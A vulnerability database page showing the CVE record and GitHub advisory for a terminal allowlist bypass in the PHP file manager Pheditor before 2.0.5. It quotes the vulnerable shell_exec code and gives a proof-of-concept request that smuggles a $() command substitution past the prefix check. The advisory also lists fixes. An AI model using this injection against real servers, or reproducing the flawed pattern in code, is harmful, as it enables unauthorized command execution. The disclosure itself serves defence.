Vulnerability-Lookup

CVE-2026-54540 (GCVE-0-2026-54540)

Vulnerability from cvelistv5 – Published: 2026-07-27 17:53 – Updated: 2026-07-27 18:36

Title

Authenticated terminal command whitelist bypass in Pheditor

Summary

Pheditor is a single-file editor and file manager written in PHP. Prior to version 2.0.5, there is an authenticated terminal command whitelist bypass. The terminal feature checks whether the submitted command starts with one of the configured TERMINAL_COMMANDS values, then passes the full command string to shell_exec(). Shell command substitution such as $() is not blocked, so an authenticated user with the terminal permission can bypass a restricted command allowlist and execute arbitrary shell commands as the web server user. This issue has been patched in version 2.0.5.

Severity

8.8 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator (v2.0.3)

CWE

CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Assigner

GitHub_M

References

2 references

URL	Tags
https://github.com/pheditor/pheditor/security/adv…	x_refsource_CONFIRM
https://github.com/pheditor/pheditor/releases/tag/2.0.5	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
pheditor	pheditor	Affected: < 2.0.5

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-54540",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-07-27T18:36:21.340913Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-07-27T18:36:26.962Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/pheditor/pheditor/security/advisories/GHSA-9643-6xjp-vx57"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "pheditor",
          "vendor": "pheditor",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.0.5"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Pheditor is a single-file editor and file manager written in PHP. Prior to version 2.0.5, there is an authenticated terminal command whitelist bypass. The terminal feature checks whether the submitted command starts with one of the configured TERMINAL_COMMANDS values, then passes the full command string to shell_exec(). Shell command substitution such as $() is not blocked, so an authenticated user with the terminal permission can bypass a restricted command allowlist and execute arbitrary shell commands as the web server user. This issue has been patched in version 2.0.5."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 8.8,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-78",
              "description": "CWE-78: Improper Neutralization of Special Elements used in an OS Command (\u0027OS Command Injection\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-07-27T17:53:53.891Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/pheditor/pheditor/security/advisories/GHSA-9643-6xjp-vx57",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/pheditor/pheditor/security/advisories/GHSA-9643-6xjp-vx57"
        },
        {
          "name": "https://github.com/pheditor/pheditor/releases/tag/2.0.5",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/pheditor/pheditor/releases/tag/2.0.5"
        }
      ],
      "source": {
        "advisory": "GHSA-9643-6xjp-vx57",
        "discovery": "UNKNOWN"
      },
      "title": "Authenticated terminal command whitelist bypass in Pheditor"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-54540",
    "datePublished": "2026-07-27T17:53:53.891Z",
    "dateReserved": "2026-06-15T19:04:14.455Z",
    "dateUpdated": "2026-07-27T18:36:26.962Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "nvd": "{\"cve\":{\"id\":\"CVE-2026-54540\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-07-27T18:16:56.580\",\"lastModified\":\"2026-07-27T20:32:11.620\",\"vulnStatus\":\"Deferred\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"Pheditor is a single-file editor and file manager written in PHP. Prior to version 2.0.5, there is an authenticated terminal command whitelist bypass. The terminal feature checks whether the submitted command starts with one of the configured TERMINAL_COMMANDS values, then passes the full command string to shell_exec(). Shell command substitution such as $() is not blocked, so an authenticated user with the terminal permission can bypass a restricted command allowlist and execute arbitrary shell commands as the web server user. This issue has been patched in version 2.0.5.\"}],\"affected\":[{\"source\":\"security-advisories@github.com\",\"affectedData\":[{\"vendor\":\"pheditor\",\"product\":\"pheditor\",\"versions\":[{\"version\":\"\u003c 2.0.5\",\"status\":\"affected\"}]}]}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\",\"baseScore\":8.8,\"baseSeverity\":\"HIGH\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"LOW\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"HIGH\",\"integrityImpact\":\"HIGH\",\"availabilityImpact\":\"HIGH\"},\"exploitabilityScore\":2.8,\"impactScore\":5.9}],\"ssvcV203\":[{\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"ssvcData\":{\"timestamp\":\"2026-07-27T18:36:21.340913Z\",\"id\":\"CVE-2026-54540\",\"options\":[{\"exploitation\":\"poc\"},{\"automatable\":\"no\"},{\"technicalImpact\":\"total\"}],\"role\":\"CISA Coordinator\",\"version\":\"2.0.3\"}}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-78\"}]}],\"references\":[{\"url\":\"https://github.com/pheditor/pheditor/releases/tag/2.0.5\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/pheditor/pheditor/security/advisories/GHSA-9643-6xjp-vx57\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/pheditor/pheditor/security/advisories/GHSA-9643-6xjp-vx57\",\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\"}]}}"
  }
}

GHSA-9643-6XJP-VX57

Vulnerability from github – Published: 2026-07-16 20:01 – Updated: 2026-07-16 20:01

Summary

Pheditor has an authenticated terminal command whitelist bypass

Details

Summary

Pheditor 2.0.4 has an authenticated terminal command whitelist bypass.

The terminal feature checks whether the submitted command starts with one of the configured TERMINAL_COMMANDS values, then passes the full command string to shell_exec(). Shell command substitution such as $() is not blocked, so an authenticated user with the terminal permission can bypass a restricted command allowlist and execute arbitrary shell commands as the web server user.

Details

Tested repository:

https://github.com/pheditor/pheditor

Tested commit:

62b43df7cb8956a9b0deb9bec278ca8676c890c5

Affected version:

Pheditor 2.0.4

Relevant code in pheditor.php:

The terminal handler receives $_POST['command'] and stores it in $command.
It blocks only &, ;, and ||.
It checks whether $command starts with one of the configured values in TERMINAL_COMMANDS.
It then passes the full command string to shell_exec().

Relevant logic:

$command = $_POST['command'];

if (strpos($command, '&') !== false || strpos($command, ';') !== false || strpos($command, '||') !== false) {
    echo json_error("Illegal character(s) in command (& ; ||)\n");
    exit;
}

foreach ($terminal_commands as $value) {
    $value = trim($value);

    if (strlen($command) >= strlen($value) && substr($command, 0, strlen($value)) == $value) {
        $command_found = true;
        break;
    }
}

$output = shell_exec((empty($dir) ? null : 'cd ' . escapeshellarg($dir) . ' && ') . $command . ' && echo \ ; pwd');

Because the whitelist check is prefix-based and the full command is executed by a shell, a command such as ls$(...) passes when ls is allowed, while the command substitution is still executed by the shell.

PoC

This was reproduced locally with Docker and PHP 8.3.

For a strict test, the configured command allowlist was changed to only allow ls:

define('TERMINAL_COMMANDS', 'ls');

Control request:

command=whoami

Observed result:

Command not allowed
Available commands:
ls

Bypass request:

command=ls$(printf pheditor-terminal-bypass >/lab/app/site/proof.txt)

Observed result:

proof.txt is created with the content:
pheditor-terminal-bypass

This shows that even when only ls is allowed, arbitrary shell commands can still be executed through command substitution.

Impact

An authenticated user with the terminal permission can bypass the intended TERMINAL_COMMANDS restriction and execute arbitrary shell commands as the web server user.

This affects deployments where administrators rely on TERMINAL_COMMANDS to restrict terminal access to a small set of safe commands.

Suggested fixes:

Avoid passing user-controlled command strings to shell_exec().
Parse the command into executable and arguments.
Require an exact command name match instead of prefix matching.
Execute without a shell, for example with an argument-array based process API.
If shell execution remains necessary, reject shell metacharacters comprehensively, including command substitution syntax.
Consider disabling the terminal feature by default.

Reporter credit requested:

shanjijian shanjijian@gmail.com

Severity

8.8 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.0.4"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "pheditor/pheditor"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54540"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-16T20:01:05Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nPheditor 2.0.4 has an authenticated terminal command whitelist bypass.\n\nThe terminal feature checks whether the submitted command starts with one of the configured `TERMINAL_COMMANDS` values, then passes the full command string to `shell_exec()`. Shell command substitution such as `$()` is not blocked, so an authenticated user with the `terminal` permission can bypass a restricted command allowlist and execute arbitrary shell commands as the web server user.\n\n### Details\n\nTested repository:\n\nhttps://github.com/pheditor/pheditor\n\nTested commit:\n\n`62b43df7cb8956a9b0deb9bec278ca8676c890c5`\n\nAffected version:\n\nPheditor 2.0.4\n\nRelevant code in `pheditor.php`:\n\n- The terminal handler receives `$_POST[\u0027command\u0027]` and stores it in `$command`.\n- It blocks only `\u0026`, `;`, and `||`.\n- It checks whether `$command` starts with one of the configured values in `TERMINAL_COMMANDS`.\n- It then passes the full command string to `shell_exec()`.\n\nRelevant logic:\n\n```php\n$command = $_POST[\u0027command\u0027];\n\nif (strpos($command, \u0027\u0026\u0027) !== false || strpos($command, \u0027;\u0027) !== false || strpos($command, \u0027||\u0027) !== false) {\n    echo json_error(\"Illegal character(s) in command (\u0026 ; ||)\\n\");\n    exit;\n}\n\nforeach ($terminal_commands as $value) {\n    $value = trim($value);\n\n    if (strlen($command) \u003e= strlen($value) \u0026\u0026 substr($command, 0, strlen($value)) == $value) {\n        $command_found = true;\n        break;\n    }\n}\n\n$output = shell_exec((empty($dir) ? null : \u0027cd \u0027 . escapeshellarg($dir) . \u0027 \u0026\u0026 \u0027) . $command . \u0027 \u0026\u0026 echo \\ ; pwd\u0027);\n```\n\nBecause the whitelist check is prefix-based and the full command is executed by a shell, a command such as `ls$(...)` passes when `ls` is allowed, while the command substitution is still executed by the shell.\n\n### PoC\n\nThis was reproduced locally with Docker and PHP 8.3.\n\nFor a strict test, the configured command allowlist was changed to only allow `ls`:\n\n```php\ndefine(\u0027TERMINAL_COMMANDS\u0027, \u0027ls\u0027);\n```\n\nControl request:\n\n```text\ncommand=whoami\n```\n\nObserved result:\n\n```text\nCommand not allowed\nAvailable commands:\nls\n```\n\nBypass request:\n\n```text\ncommand=ls$(printf pheditor-terminal-bypass \u003e/lab/app/site/proof.txt)\n```\n\nObserved result:\n\n```text\nproof.txt is created with the content:\npheditor-terminal-bypass\n```\n\nThis shows that even when only `ls` is allowed, arbitrary shell commands can still be executed through command substitution.\n\n### Impact\n\nAn authenticated user with the `terminal` permission can bypass the intended `TERMINAL_COMMANDS` restriction and execute arbitrary shell commands as the web server user.\n\nThis affects deployments where administrators rely on `TERMINAL_COMMANDS` to restrict terminal access to a small set of safe commands.\n\nSuggested fixes:\n\n- Avoid passing user-controlled command strings to `shell_exec()`.\n- Parse the command into executable and arguments.\n- Require an exact command name match instead of prefix matching.\n- Execute without a shell, for example with an argument-array based process API.\n- If shell execution remains necessary, reject shell metacharacters comprehensively, including command substitution syntax.\n- Consider disabling the terminal feature by default.\n\nReporter credit requested:\n\nshanjijian \u003cshanjijian@gmail.com\u003e",
  "id": "GHSA-9643-6xjp-vx57",
  "modified": "2026-07-16T20:01:05Z",
  "published": "2026-07-16T20:01:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pheditor/pheditor/security/advisories/GHSA-9643-6xjp-vx57"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pheditor/pheditor"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pheditor/pheditor/releases/tag/2.0.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Pheditor has an authenticated terminal command whitelist bypass"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.

Action not permitted

CVE-2026-54540 (GCVE-0-2026-54540)

GHSA-9643-6XJP-VX57

Summary

Details

PoC

Impact

Tags

Sightings

Nomenclature